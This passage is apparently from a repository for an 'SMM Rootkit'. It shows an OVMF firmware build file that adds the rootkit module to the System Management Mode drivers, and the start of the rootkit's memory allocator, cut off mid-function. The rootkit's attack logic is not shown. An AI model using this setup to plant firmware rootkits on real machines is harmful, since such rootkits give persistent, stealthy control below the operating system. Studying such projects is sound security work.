    "path": "SMM Rootkit/OvmfPkg/OvmfPkgX64.fdf",
    "content": "## @file\r\n#  Open Virtual Machine Firmware: FDF\r\n#\r\n#  Copyright (c) 2006 - 2017, Intel Corporation. All rights reserved.<BR>\r\n#  (C) Copyright 2016 Hewlett Packard Enterprise Development LP<BR>\r\n#\r\n#  This program and the accompanying materials\r\n#  are licensed and made available under the terms and conditions of the BSD License\r\n#  which accompanies this distribution. The full text of the license may be found at\r\n#  http://opensource.org/licenses/bsd-license.php\r\n#\r\n#  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n#  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n#\r\n##\r\n\r\n################################################################################\r\n\r\n[Defines]\r\n!include OvmfPkg.fdf.inc\r\n\r\n#\r\n# Build the variable store and the firmware code as one unified flash device\r\n# image.\r\n#\r\n[FD.OVMF]\r\nBaseAddress   = $(FW_BASE_ADDRESS)\r\nSize          = $(FW_SIZE)\r\nErasePolarity = 1\r\nBlockSize     = $(BLOCK_SIZE)\r\nNumBlocks     = $(FW_BLOCKS)\r\n\r\n!include VarStore.fdf.inc\r\n\r\n$(VARS_SIZE)|$(FVMAIN_SIZE)\r\nFV = FVMAIN_COMPACT\r\n\r\n$(SECFV_OFFSET)|$(SECFV_SIZE)\r\nFV = SECFV\r\n\r\n#\r\n# Build the variable store and the firmware code as separate flash device\r\n# images.\r\n#\r\n[FD.OVMF_VARS]\r\nBaseAddress   = $(FW_BASE_ADDRESS)\r\nSize          = $(VARS_SIZE)\r\nErasePolarity = 1\r\nBlockSize     = $(BLOCK_SIZE)\r\nNumBlocks     = $(VARS_BLOCKS)\r\n\r\n!include VarStore.fdf.inc\r\n\r\n[FD.OVMF_CODE]\r\nBaseAddress   = $(CODE_BASE_ADDRESS)\r\nSize          = $(CODE_SIZE)\r\nErasePolarity = 1\r\nBlockSize     = $(BLOCK_SIZE)\r\nNumBlocks     = $(CODE_BLOCKS)\r\n\r\n0x00000000|$(FVMAIN_SIZE)\r\nFV = FVMAIN_COMPACT\r\n\r\n$(FVMAIN_SIZE)|$(SECFV_SIZE)\r\nFV = SECFV\r\n\r\n################################################################################\r\n\r\n[FD.MEMFD]\r\nBaseAddress   = $(MEMFD_BASE_ADDRESS)\r\nSize          = 0xB00000\r\nErasePolarity = 1\r\nBlockSize     = 0x10000\r\nNumBlocks     = 0xB0\r\n\r\n0x000000|0x006000\r\ngUefiOvmfPkgTokenSpaceGuid.PcdOvmfSecPageTablesBase|gUefiOvmfPkgTokenSpaceGuid.PcdOvmfSecPageTablesSize\r\n\r\n0x006000|0x001000\r\ngUefiOvmfPkgTokenSpaceGuid.PcdOvmfLockBoxStorageBase|gUefiOvmfPkgTokenSpaceGuid.PcdOvmfLockBoxStorageSize\r\n\r\n0x007000|0x001000\r\ngEfiMdePkgTokenSpaceGuid.PcdGuidedExtractHandlerTableAddress|gUefiOvmfPkgTokenSpaceGuid.PcdGuidedExtractHandlerTableSize\r\n\r\n0x010000|0x010000\r\ngUefiOvmfPkgTokenSpaceGuid.PcdOvmfSecPeiTempRamBase|gUefiOvmfPkgTokenSpaceGuid.PcdOvmfSecPeiTempRamSize\r\n\r\n0x020000|0x0E0000\r\ngUefiOvmfPkgTokenSpaceGuid.PcdOvmfPeiMemFvBase|gUefiOvmfPkgTokenSpaceGuid.PcdOvmfPeiMemFvSize\r\nFV = PEIFV\r\n\r\n0x100000|0xA00000\r\ngUefiOvmfPkgTokenSpaceGuid.PcdOvmfDxeMemFvBase|gUefiOvmfPkgTokenSpaceGuid.PcdOvmfDxeMemFvSize\r\nFV = DXEFV\r\n\r\n################################################################################\r\n\r\n[FV.SECFV]\r\nFvNameGuid         = 763BED0D-DE9F-48F5-81F1-3E90E1B1A015\r\nBlockSize          = 0x1000\r\nFvAlignment        = 16\r\nERASE_POLARITY     = 1\r\nMEMORY_MAPPED      = TRUE\r\nSTICKY_WRITE       = TRUE\r\nLOCK_CAP           = TRUE\r\nLOCK_STATUS        = TRUE\r\nWRITE_DISABLED_CAP = TRUE\r\nWRITE_ENABLED_CAP  = TRUE\r\nWRITE_STATUS       = TRUE\r\nWRITE_LOCK_CAP     = TRUE\r\nWRITE_LOCK_STATUS  = TRUE\r\nREAD_DISABLED_CAP  = TRUE\r\nREAD_ENABLED_CAP   = TRUE\r\nREAD_STATUS        = TRUE\r\nREAD_LOCK_CAP      = TRUE\r\nREAD_LOCK_STATUS   = TRUE\r\n\r\n#\r\n# SEC Phase modules\r\n#\r\n# The code in this FV handles the initial firmware startup, and\r\n# decompresses the PEI and DXE FVs which handles the rest of the boot sequence.\r\n#\r\nINF  OvmfPkg/Sec/SecMain.inf\r\n\r\nINF  RuleOverride=RESET_VECTOR OvmfPkg/ResetVector/ResetVector.inf\r\n\r\n################################################################################\r\n[FV.PEIFV]\r\nFvNameGuid         = 6938079B-B503-4E3D-9D24-B28337A25806\r\nBlockSize          = 0x10000\r\nFvAlignment        = 16\r\nERASE_POLARITY     = 1\r\nMEMORY_MAPPED      = TRUE\r\nSTICKY_WRITE       = TRUE\r\nLOCK_CAP           = TRUE\r\nLOCK_STATUS        = TRUE\r\nWRITE_DISABLED_CAP = TRUE\r\nWRITE_ENABLED_CAP  = TRUE\r\nWRITE_STATUS       = TRUE\r\nWRITE_LOCK_CAP     = TRUE\r\nWRITE_LOCK_STATUS  = TRUE\r\nREAD_DISABLED_CAP  = TRUE\r\nREAD_ENABLED_CAP   = TRUE\r\nREAD_STATUS        = TRUE\r\nREAD_LOCK_CAP      = TRUE\r\nREAD_LOCK_STATUS   = TRUE\r\n\r\nAPRIORI PEI {\r\n  INF  MdeModulePkg/Universal/PCD/Pei/Pcd.inf\r\n}\r\n\r\n#\r\n#  PEI Phase modules\r\n#\r\nINF  MdeModulePkg/Core/Pei/PeiMain.inf\r\nINF  MdeModulePkg/Universal/PCD/Pei/Pcd.inf\r\nINF  MdeModulePkg/Universal/ReportStatusCodeRouter/Pei/ReportStatusCodeRouterPei.inf\r\nINF  MdeModulePkg/Universal/StatusCodeHandler/Pei/StatusCodeHandlerPei.inf\r\nINF  OvmfPkg/PlatformPei/PlatformPei.inf\r\nINF  MdeModulePkg/Core/DxeIplPeim/DxeIpl.inf\r\nINF  UefiCpuPkg/Universal/Acpi/S3Resume2Pei/S3Resume2Pei.inf\r\n!if $(SMM_REQUIRE) == TRUE\r\nINF  OvmfPkg/SmmAccess/SmmAccessPei.inf\r\n!endif\r\nINF  UefiCpuPkg/CpuMpPei/CpuMpPei.inf\r\n\r\n################################################################################\r\n\r\n[FV.DXEFV]\r\nFvForceRebase      = FALSE\r\nFvNameGuid         = 7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1\r\nBlockSize          = 0x10000\r\nFvAlignment        = 16\r\nERASE_POLARITY     = 1\r\nMEMORY_MAPPED      = TRUE\r\nSTICKY_WRITE       = TRUE\r\nLOCK_CAP           = TRUE\r\nLOCK_STATUS        = TRUE\r\nWRITE_DISABLED_CAP = TRUE\r\nWRITE_ENABLED_CAP  = TRUE\r\nWRITE_STATUS       = TRUE\r\nWRITE_LOCK_CAP     = TRUE\r\nWRITE_LOCK_STATUS  = TRUE\r\nREAD_DISABLED_CAP  = TRUE\r\nREAD_ENABLED_CAP   = TRUE\r\nREAD_STATUS        = TRUE\r\nREAD_LOCK_CAP      = TRUE\r\nREAD_LOCK_STATUS   = TRUE\r\n\r\nAPRIORI DXE {\r\n  INF  MdeModulePkg/Universal/DevicePathDxe/DevicePathDxe.inf\r\n  INF  MdeModulePkg/Universal/PCD/Dxe/Pcd.inf\r\n  INF  OvmfPkg/AmdSevDxe/AmdSevDxe.inf\r\n!if $(SMM_REQUIRE) == FALSE\r\n  INF  OvmfPkg/QemuFlashFvbServicesRuntimeDxe/FvbServicesRuntimeDxe.inf\r\n!endif\r\n}\r\n\r\n#\r\n# DXE Phase modules\r\n#\r\nINF  MdeModulePkg/Core/Dxe/DxeMain.inf\r\n\r\nINF  MdeModulePkg/Universal/ReportStatusCodeRouter/RuntimeDxe/ReportStatusCodeRouterRuntimeDxe.inf\r\nINF  MdeModulePkg/Universal/StatusCodeHandler/RuntimeDxe/StatusCodeHandlerRuntimeDxe.inf\r\nINF  MdeModulePkg/Universal/PCD/Dxe/Pcd.inf\r\n\r\nINF  MdeModulePkg/Core/RuntimeDxe/RuntimeDxe.inf\r\nINF  MdeModulePkg/Universal/SecurityStubDxe/SecurityStubDxe.inf\r\nINF  MdeModulePkg/Universal/EbcDxe/EbcDxe.inf\r\nINF  PcAtChipsetPkg/8259InterruptControllerDxe/8259.inf\r\nINF  UefiCpuPkg/CpuIo2Dxe/CpuIo2Dxe.inf\r\nINF  UefiCpuPkg/CpuDxe/CpuDxe.inf\r\nINF  PcAtChipsetPkg/8254TimerDxe/8254Timer.inf\r\nINF  OvmfPkg/IncompatiblePciDeviceSupportDxe/IncompatiblePciDeviceSupport.inf\r\nINF  OvmfPkg/PciHotPlugInitDxe/PciHotPlugInit.inf\r\nINF  MdeModulePkg/Bus/Pci/PciHostBridgeDxe/PciHostBridgeDxe.inf\r\nINF  MdeModulePkg/Bus/Pci/PciBusDxe/PciBusDxe.inf\r\nINF  MdeModulePkg/Universal/ResetSystemRuntimeDxe/ResetSystemRuntimeDxe.inf\r\nINF  MdeModulePkg/Universal/Metronome/Metronome.inf\r\nINF  PcAtChipsetPkg/PcatRealTimeClockRuntimeDxe/PcatRealTimeClockRuntimeDxe.inf\r\n\r\nINF  OvmfPkg/BlockMmioToBlockIoDxe/BlockIo.inf\r\nINF  OvmfPkg/VirtioPciDeviceDxe/VirtioPciDeviceDxe.inf\r\nINF  OvmfPkg/Virtio10Dxe/Virtio10.inf\r\nINF  OvmfPkg/VirtioBlkDxe/VirtioBlk.inf\r\nINF  OvmfPkg/VirtioScsiDxe/VirtioScsi.inf\r\nINF  OvmfPkg/VirtioRngDxe/VirtioRng.inf\r\nINF  OvmfPkg/XenIoPciDxe/XenIoPciDxe.inf\r\nINF  OvmfPkg/XenBusDxe/XenBusDxe.inf\r\nINF  OvmfPkg/XenPvBlkDxe/XenPvBlkDxe.inf\r\n\r\n!if $(SECURE_BOOT_ENABLE) == TRUE\r\n  INF  SecurityPkg/VariableAuthenticated/SecureBootConfigDxe/SecureBootConfigDxe.inf\r\n!endif\r\n\r\nINF  MdeModulePkg/Universal/WatchdogTimerDxe/WatchdogTimer.inf\r\nINF  MdeModulePkg/Universal/MonotonicCounterRuntimeDxe/MonotonicCounterRuntimeDxe.inf\r\nINF  MdeModulePkg/Universal/CapsuleRuntimeDxe/CapsuleRuntimeDxe.inf\r\nINF  MdeModulePkg/Universal/Console/ConPlatformDxe/ConPlatformDxe.inf\r\nINF  MdeModulePkg/Universal/Console/ConSplitterDxe/ConSplitterDxe.inf\r\nINF  MdeModulePkg/Universal/Console/GraphicsConsoleDxe/GraphicsConsoleDxe.inf\r\nINF  MdeModulePkg/Universal/Console/TerminalDxe/TerminalDxe.inf\r\nINF  MdeModulePkg/Universal/DriverHealthManagerDxe/DriverHealthManagerDxe.inf\r\nINF  MdeModulePkg/Universal/BdsDxe/BdsDxe.inf\r\nINF  MdeModulePkg/Application/UiApp/UiApp.inf\r\nINF  MdeModulePkg/Universal/DevicePathDxe/DevicePathDxe.inf\r\nINF  MdeModulePkg/Universal/PrintDxe/PrintDxe.inf\r\nINF  MdeModulePkg/Universal/Disk/DiskIoDxe/DiskIoDxe.inf\r\nINF  MdeModulePkg/Universal/Disk/PartitionDxe/PartitionDxe.inf\r\nINF  MdeModulePkg/Universal/Disk/RamDiskDxe/RamDiskDxe.inf\r\nINF  MdeModulePkg/Universal/Disk/UnicodeCollation/EnglishDxe/EnglishDxe.inf\r\nINF  MdeModulePkg/Bus/Scsi/ScsiBusDxe/ScsiBusDxe.inf\r\nINF  MdeModulePkg/Bus/Scsi/ScsiDiskDxe/ScsiDiskDxe.inf\r\nINF  OvmfPkg/SataControllerDxe/SataControllerDxe.inf\r\nINF  MdeModulePkg/Bus/Ata/AtaAtapiPassThru/AtaAtapiPassThru.inf\r\nINF  MdeModulePkg/Bus/Ata/AtaBusDxe/AtaBusDxe.inf\r\nINF  MdeModulePkg/Bus/Pci/NvmExpressDxe/NvmExpressDxe.inf\r\nINF  MdeModulePkg/Universal/HiiDatabaseDxe/HiiDatabaseDxe.inf\r\nINF  MdeModulePkg/Universal/SetupBrowserDxe/SetupBrowserDxe.inf\r\nINF  MdeModulePkg/Universal/DisplayEngineDxe/DisplayEngineDxe.inf\r\nINF  MdeModulePkg/Universal/MemoryTest/NullMemoryTestDxe/NullMemoryTestDxe.inf\r\n\r\nINF  PcAtChipsetPkg/IsaAcpiDxe/IsaAcpi.inf\r\nINF  IntelFrameworkModulePkg/Bus/Isa/IsaBusDxe/IsaBusDxe.inf\r\n\r\n!ifndef $(SOURCE_DEBUG_ENABLE)\r\nINF  IntelFrameworkModulePkg/Bus/Isa/IsaSerialDxe/IsaSerialDxe.inf\r\n!endif\r\n\r\nINF  IntelFrameworkModulePkg/Bus/Isa/Ps2KeyboardDxe/Ps2keyboardDxe.inf\r\nINF  IntelFrameworkModulePkg/Bus/Isa/IsaFloppyDxe/IsaFloppyDxe.inf\r\n\r\nINF  MdeModulePkg/Universal/SmbiosDxe/SmbiosDxe.inf\r\nINF  OvmfPkg/SmbiosPlatformDxe/SmbiosPlatformDxe.inf\r\n\r\nINF  MdeModulePkg/Universal/Acpi/AcpiTableDxe/AcpiTableDxe.inf\r\nINF  OvmfPkg/AcpiPlatformDxe/AcpiPlatformDxe.inf\r\nINF  RuleOverride=ACPITABLE OvmfPkg/AcpiTables/AcpiTables.inf\r\nINF  MdeModulePkg/Universal/Acpi/S3SaveStateDxe/S3SaveStateDxe.inf\r\nINF  MdeModulePkg/Universal/Acpi/BootScriptExecutorDxe/BootScriptExecutorDxe.inf\r\nINF  MdeModulePkg/Universal/Acpi/BootGraphicsResourceTableDxe/BootGraphicsResourceTableDxe.inf\r\n\r\nINF  FatPkg/EnhancedFatDxe/Fat.inf\r\n\r\n!ifndef $(USE_OLD_SHELL)\r\nINF  ShellPkg/DynamicCommand/TftpDynamicCommand/TftpDynamicCommand.inf\r\nINF  ShellPkg/Application/Shell/Shell.inf\r\n!else\r\nINF  RuleOverride = BINARY EdkShellBinPkg/FullShell/FullShell.inf\r\n!endif\r\n\r\nINF MdeModulePkg/Logo/LogoDxe.inf\r\n\r\n#\r\n# Network modules\r\n#\r\n!if $(E1000_ENABLE)\r\n  FILE DRIVER = 5D695E11-9B3F-4b83-B25F-4A8D5D69BE07 {\r\n    SECTION PE32 = Intel3.5/EFIX64/E3522X2.EFI\r\n  }\r\n!endif\r\n  INF  MdeModulePkg/Universal/Network/SnpDxe/SnpDxe.inf\r\n  INF  MdeModulePkg/Universal/Network/DpcDxe/DpcDxe.inf\r\n  INF  MdeModulePkg/Universal/Network/MnpDxe/MnpDxe.inf\r\n  INF  MdeModulePkg/Universal/Network/VlanConfigDxe/VlanConfigDxe.inf\r\n  INF  MdeModulePkg/Universal/Network/ArpDxe/ArpDxe.inf\r\n  INF  MdeModulePkg/Universal/Network/Dhcp4Dxe/Dhcp4Dxe.inf\r\n  INF  MdeModulePkg/Universal/Network/Ip4Dxe/Ip4Dxe.inf\r\n  INF  MdeModulePkg/Universal/Network/Mtftp4Dxe/Mtftp4Dxe.inf\r\n  INF  MdeModulePkg/Universal/Network/Udp4Dxe/Udp4Dxe.inf\r\n!if $(NETWORK_IP6_ENABLE) == TRUE\r\n  INF  NetworkPkg/Ip6Dxe/Ip6Dxe.inf\r\n  INF  NetworkPkg/TcpDxe/TcpDxe.inf\r\n  INF  NetworkPkg/Udp6Dxe/Udp6Dxe.inf\r\n  INF  NetworkPkg/Dhcp6Dxe/Dhcp6Dxe.inf\r\n  INF  NetworkPkg/Mtftp6Dxe/Mtftp6Dxe.inf\r\n  INF  NetworkPkg/UefiPxeBcDxe/UefiPxeBcDxe.inf\r\n  INF  NetworkPkg/IScsiDxe/IScsiDxe.inf\r\n!else\r\n  INF  MdeModulePkg/Universal/Network/Tcp4Dxe/Tcp4Dxe.inf\r\n  INF  MdeModulePkg/Universal/Network/UefiPxeBcDxe/UefiPxeBcDxe.inf\r\n  INF  MdeModulePkg/Universal/Network/IScsiDxe/IScsiDxe.inf\r\n!endif\r\n!if $(HTTP_BOOT_ENABLE) == TRUE\r\n  INF  NetworkPkg/DnsDxe/DnsDxe.inf\r\n  INF  NetworkPkg/HttpUtilitiesDxe/HttpUtilitiesDxe.inf\r\n  INF  NetworkPkg/HttpDxe/HttpDxe.inf\r\n  INF  NetworkPkg/HttpBootDxe/HttpBootDxe.inf\r\n!endif\r\n!if $(TLS_ENABLE) == TRUE\r\n  INF  NetworkPkg/TlsDxe/TlsDxe.inf\r\n  INF  NetworkPkg/TlsAuthConfigDxe/TlsAuthConfigDxe.inf\r\n!endif\r\n  INF  OvmfPkg/VirtioNetDxe/VirtioNet.inf\r\n\r\n#\r\n# Usb Support\r\n#\r\nINF  MdeModulePkg/Bus/Pci/UhciDxe/UhciDxe.inf\r\nINF  MdeModulePkg/Bus/Pci/EhciDxe/EhciDxe.inf\r\nINF  MdeModulePkg/Bus/Pci/XhciDxe/XhciDxe.inf\r\nINF  MdeModulePkg/Bus/Usb/UsbBusDxe/UsbBusDxe.inf\r\nINF  MdeModulePkg/Bus/Usb/UsbKbDxe/UsbKbDxe.inf\r\nINF  MdeModulePkg/Bus/Usb/UsbMassStorageDxe/UsbMassStorageDxe.inf\r\n\r\n!ifdef $(CSM_ENABLE)\r\nINF  IntelFrameworkModulePkg/Csm/BiosThunk/VideoDxe/VideoDxe.inf\r\nINF  IntelFrameworkModulePkg/Csm/LegacyBiosDxe/LegacyBiosDxe.inf\r\nINF  RuleOverride=CSM OvmfPkg/Csm/Csm16/Csm16.inf\r\n!endif\r\n\r\nINF  OvmfPkg/QemuVideoDxe/QemuVideoDxe.inf\r\nINF  OvmfPkg/VirtioGpuDxe/VirtioGpu.inf\r\nINF  OvmfPkg/PlatformDxe/Platform.inf\r\nINF  OvmfPkg/AmdSevDxe/AmdSevDxe.inf\r\nINF  OvmfPkg/IoMmuDxe/IoMmuDxe.inf\r\n\r\n!if $(SMM_REQUIRE) == TRUE\r\nINF  OvmfPkg/SmmAccess/SmmAccess2Dxe.inf\r\nINF  OvmfPkg/SmmControl2Dxe/SmmControl2Dxe.inf\r\nINF  UefiCpuPkg/CpuS3DataDxe/CpuS3DataDxe.inf\r\nINF  MdeModulePkg/Core/PiSmmCore/PiSmmIpl.inf\r\nINF  MdeModulePkg/Core/PiSmmCore/PiSmmCore.inf\r\nINF  SMMRootkit/SMMRootkit.inf\r\nINF  UefiCpuPkg/CpuIo2Smm/CpuIo2Smm.inf\r\nINF  MdeModulePkg/Universal/LockBox/SmmLockBox/SmmLockBox.inf\r\nINF  UefiCpuPkg/PiSmmCpuDxeSmm/PiSmmCpuDxeSmm.inf\r\n\r\n#\r\n# Variable driver stack (SMM)\r\n#\r\nINF  OvmfPkg/QemuFlashFvbServicesRuntimeDxe/FvbServicesSmm.inf\r\nINF  MdeModulePkg/Universal/FaultTolerantWriteDxe/FaultTolerantWriteSmm.inf\r\nINF  MdeModulePkg/Universal/Variable/RuntimeDxe/VariableSmm.inf\r\nINF  MdeModulePkg/Universal/Variable/RuntimeDxe/VariableSmmRuntimeDxe.inf\r\n\r\n!else\r\n\r\n#\r\n# Variable driver stack (non-SMM)\r\n#\r\nINF  OvmfPkg/QemuFlashFvbServicesRuntimeDxe/FvbServicesRuntimeDxe.inf\r\nINF  OvmfPkg/EmuVariableFvbRuntimeDxe/Fvb.inf\r\nINF  MdeModulePkg/Universal/FaultTolerantWriteDxe/FaultTolerantWriteDxe.inf\r\nINF  MdeModulePkg/Universal/Variable/RuntimeDxe/VariableRuntimeDxe.inf\r\n!endif\r\n\r\n################################################################################\r\n\r\n[FV.FVMAIN_COMPACT]\r\nFvNameGuid         = 48DB5E17-707C-472D-91CD-1613E7EF51B0\r\nFvAlignment        = 16\r\nERASE_POLARITY     = 1\r\nMEMORY_MAPPED      = TRUE\r\nSTICKY_WRITE       = TRUE\r\nLOCK_CAP           = TRUE\r\nLOCK_STATUS        = TRUE\r\nWRITE_DISABLED_CAP = TRUE\r\nWRITE_ENABLED_CAP  = TRUE\r\nWRITE_STATUS       = TRUE\r\nWRITE_LOCK_CAP     = TRUE\r\nWRITE_LOCK_STATUS  = TRUE\r\nREAD_DISABLED_CAP  = TRUE\r\nREAD_ENABLED_CAP   = TRUE\r\nREAD_STATUS        = TRUE\r\nREAD_LOCK_CAP      = TRUE\r\nREAD_LOCK_STATUS   = TRUE\r\n\r\nFILE FV_IMAGE = 9E21FD93-9C72-4c15-8C4B-E77F1DB2D792 {\r\n   SECTION GUIDED EE4E5898-3914-4259-9D6E-DC7BD79403CF PROCESSING_REQUIRED = TRUE {\r\n     #\r\n     # These firmware volumes will have files placed in them uncompressed,\r\n     # and then both firmware volumes will be compressed in a single\r\n     # compression operation in order to achieve better overall compression.\r\n     #\r\n     SECTION FV_IMAGE = PEIFV\r\n     SECTION FV_IMAGE = DXEFV\r\n   }\r\n }\r\n\r\n!include DecomprScratchEnd.fdf.inc\r\n\r\n################################################################################\r\n\r\n[Rule.Common.SEC]\r\n  FILE SEC = $(NAMED_GUID) {\r\n    PE32     PE32           $(INF_OUTPUT)/$(MODULE_NAME).efi\r\n    UI       STRING =\"$(MODULE_NAME)\" Optional\r\n    VERSION  STRING =\"$(INF_VERSION)\" Optional BUILD_NUM=$(BUILD_NUMBER)\r\n  }\r\n\r\n[Rule.Common.PEI_CORE]\r\n  FILE PEI_CORE = $(NAMED_GUID) {\r\n    PE32     PE32   Align=Auto    $(INF_OUTPUT)/$(MODULE_NAME).efi\r\n    UI       STRING =\"$(MODULE_NAME)\" Optional\r\n    VERSION  STRING =\"$(INF_VERSION)\" Optional BUILD_NUM=$(BUILD_NUMBER)\r\n  }\r\n\r\n[Rule.Common.PEIM]\r\n  FILE PEIM = $(NAMED_GUID) {\r\n     PEI_DEPEX PEI_DEPEX Optional        $(INF_OUTPUT)/$(MODULE_NAME).depex\r\n     PE32      PE32   Align=Auto         $(INF_OUTPUT)/$(MODULE_NAME).efi\r\n     UI       STRING=\"$(MODULE_NAME)\" Optional\r\n     VERSION  STRING=\"$(INF_VERSION)\" Optional BUILD_NUM=$(BUILD_NUMBER)\r\n  }\r\n\r\n[Rule.Common.DXE_CORE]\r\n  FILE DXE_CORE = $(NAMED_GUID) {\r\n    PE32     PE32           $(INF_OUTPUT)/$(MODULE_NAME).efi\r\n    UI       STRING=\"$(MODULE_NAME)\" Optional\r\n    VERSION  STRING=\"$(INF_VERSION)\" Optional BUILD_NUM=$(BUILD_NUMBER)\r\n  }\r\n\r\n[Rule.Common.DXE_DRIVER]\r\n  FILE DRIVER = $(NAMED_GUID) {\r\n    DXE_DEPEX    DXE_DEPEX Optional      $(INF_OUTPUT)/$(MODULE_NAME).depex\r\n    PE32     PE32                    $(INF_OUTPUT)/$(MODULE_NAME).efi\r\n    UI       STRING=\"$(MODULE_NAME)\" Optional\r\n    VERSION  STRING=\"$(INF_VERSION)\" Optional BUILD_NUM=$(BUILD_NUMBER)\r\n    RAW ACPI  Optional               |.acpi\r\n    RAW ASL   Optional               |.aml\r\n  }\r\n\r\n[Rule.Common.DXE_RUNTIME_DRIVER]\r\n  FILE DRIVER = $(NAMED_GUID) {\r\n    DXE_DEPEX    DXE_DEPEX Optional      $(INF_OUTPUT)/$(MODULE_NAME).depex\r\n    PE32     PE32                    $(INF_OUTPUT)/$(MODULE_NAME).efi\r\n    UI       STRING=\"$(MODULE_NAME)\" Optional\r\n    VERSION  STRING=\"$(INF_VERSION)\" Optional BUILD_NUM=$(BUILD_NUMBER)\r\n  }\r\n\r\n[Rule.Common.UEFI_DRIVER]\r\n  FILE DRIVER = $(NAMED_GUID) {\r\n    DXE_DEPEX    DXE_DEPEX Optional      $(INF_OUTPUT)/$(MODULE_NAME).depex\r\n    PE32     PE32                    $(INF_OUTPUT)/$(MODULE_NAME).efi\r\n    UI       STRING=\"$(MODULE_NAME)\" Optional\r\n    VERSION  STRING=\"$(INF_VERSION)\" Optional BUILD_NUM=$(BUILD_NUMBER)\r\n  }\r\n\r\n[Rule.Common.UEFI_DRIVER.BINARY]\r\n  FILE DRIVER = $(NAMED_GUID) {\r\n    DXE_DEPEX DXE_DEPEX Optional      |.depex\r\n    PE32      PE32                    |.efi\r\n    UI        STRING=\"$(MODULE_NAME)\" Optional\r\n    VERSION   STRING=\"$(INF_VERSION)\" Optional BUILD_NUM=$(BUILD_NUMBER)\r\n  }\r\n\r\n[Rule.Common.UEFI_APPLICATION]\r\n  FILE APPLICATION = $(NAMED_GUID) {\r\n    PE32     PE32                    $(INF_OUTPUT)/$(MODULE_NAME).efi\r\n    UI       STRING=\"$(MODULE_NAME)\" Optional\r\n    VERSION  STRING=\"$(INF_VERSION)\" Optional BUILD_NUM=$(BUILD_NUMBER)\r\n  }\r\n\r\n[Rule.Common.UEFI_APPLICATION.BINARY]\r\n  FILE APPLICATION = $(NAMED_GUID) {\r\n    PE32      PE32                    |.efi\r\n    UI        STRING=\"$(MODULE_NAME)\" Optional\r\n    VERSION   STRING=\"$(INF_VERSION)\" Optional BUILD_NUM=$(BUILD_NUMBER)\r\n  }\r\n\r\n[Rule.Common.USER_DEFINED.ACPITABLE]\r\n  FILE FREEFORM = $(NAMED_GUID) {\r\n    RAW ACPI               |.acpi\r\n    RAW ASL                |.aml\r\n  }\r\n\r\n[Rule.Common.USER_DEFINED.CSM]\r\n  FILE FREEFORM = $(NAMED_GUID) {\r\n    RAW BIN                |.bin\r\n  }\r\n\r\n[Rule.Common.SEC.RESET_VECTOR]\r\n  FILE RAW = $(NAMED_GUID) {\r\n    RAW BIN   Align = 16   |.bin\r\n  }\r\n\r\n[Rule.Common.SMM_CORE]\r\n  FILE SMM_CORE = $(NAMED_GUID) {\r\n    PE32     PE32           $(INF_OUTPUT)/$(MODULE_NAME).efi\r\n    UI       STRING=\"$(MODULE_NAME)\" Optional\r\n    VERSION  STRING=\"$(INF_VERSION)\" Optional BUILD_NUM=$(BUILD_NUMBER)\r\n  }\r\n\r\n[Rule.Common.DXE_SMM_DRIVER]\r\n  FILE SMM = $(NAMED_GUID) {\r\n    SMM_DEPEX    SMM_DEPEX Optional      $(INF_OUTPUT)/$(MODULE_NAME).depex\r\n    PE32     PE32                    $(INF_OUTPUT)/$(MODULE_NAME).efi\r\n    UI       STRING=\"$(MODULE_NAME)\" Optional\r\n    VERSION  STRING=\"$(INF_VERSION)\" Optional BUILD_NUM=$(BUILD_NUMBER)\r\n  }\r\n"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/.gitignore",
    "content": ".vscode/\n"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/MemManager.c",
    "content": "#include \"MemManager.h\"\n\nstatic BOOLEAN memPoolInitialized;\nstatic PMemAllocEntry_t memPool;\nstatic UINT32 pagesInPool;\nstatic UINT64 memAllocated;\n\n// from SMMRootkit.c\nextern EFI_SMM_SYSTEM_TABLE2 *gSmst2;\n\nUINT64 GetMemAllocated()\n{\n  return memAllocated;\n}\n\nBOOLEAN InitMemManager(UINT32 pages)\n{\n  memPoolInitialized = FALSE;\n  EFI_PHYSICAL_ADDRESS physAddr;\n  if (gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, pages, &physAddr) == EFI_SUCCESS)\n  {\n    // set pool pointer\n    memPool = (PMemAllocEntry_t)physAddr;\n\n    // nullify the pool\n    UINT8 *pool = (UINT8 *)memPool;\n    for (UINT32 i = 0; i < pages * 4096; i++)\n    {\n      pool[i] = (UINT8)0x00;\n    }\n\n    // set the global vars, needed by malloc\n    memPoolInitialized = TRUE;\n    pagesInPool = pages;\n\n    // allocate the first block\n    malloc(0);\n  }\n  return memPoolInitialized;\n}\n\nVOID *palloc(UINT32 pages)\n{\n  EFI_PHYSICAL_ADDRESS physAddr;\n  if (gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, pages, &physAddr) == EFI_SUCCESS)\n  {\n    return (VOID *)physAddr;\n  }\n  return NULL;\n}\n\nVOID pfree(VOID *address, UINT32 pages)\n{\n  gSmst2->SmmFreePages((EFI_PHYSICAL_ADDRESS)address, pages);\n}\n\nVOID *malloc(UINT32 size)\n{\n  // sanity check\n  if (!memPoolInitialized)\n  {\n    SerialPrintStringDebug(\"FAIL: malloc pool was not set up!\\r\\n\");\n    return NULL;\n  }\n\n  PMemAllocEntry_t curr = memPool;\n  PMemAllocEntry_t newEntry = NULL;\n\n  // find the first allocatable location and return if possible\n  while (curr->next)\n  {\n    if ((UINT8 *)curr + curr->size + 24 + size < (UINT8 *)curr->next)\n    {\n      newEntry = (PMemAllocEntry_t)((UINT8 *)curr + curr->size);\n      newEntry->next = curr->next;\n      newEntry->prev = curr;\n      newEntry->size = size + 24;\n      curr->next->prev = newEntry;\n      curr->next = newEntry;\n      memAllocated += size + 24;\n      return newEntry->data;\n    }\n    curr = curr->next;\n  }\n\n  // we came to the end of the list,\n  // check that the allocation will not exceed the slab boundaries\n  if ((UINT8 *)curr + curr->size + 24 + size > ((UINT8 *)memPool + (pagesInPool * 4096)))\n  {\n    SerialPrintStringDebug(\"FAIL: malloc failed for size \");\n    SerialPrintNumberDebug(size, 10);\n    SerialPrintStringDebug(\"\\r\\n\");\n    return NULL;\n  }\n\n  // Is this the first allocation?\n  if (curr->size == 0 && curr == memPool)\n  {\n    curr->size = 24 + size;\n    memAllocated += size + 24;\n    return curr->data;\n 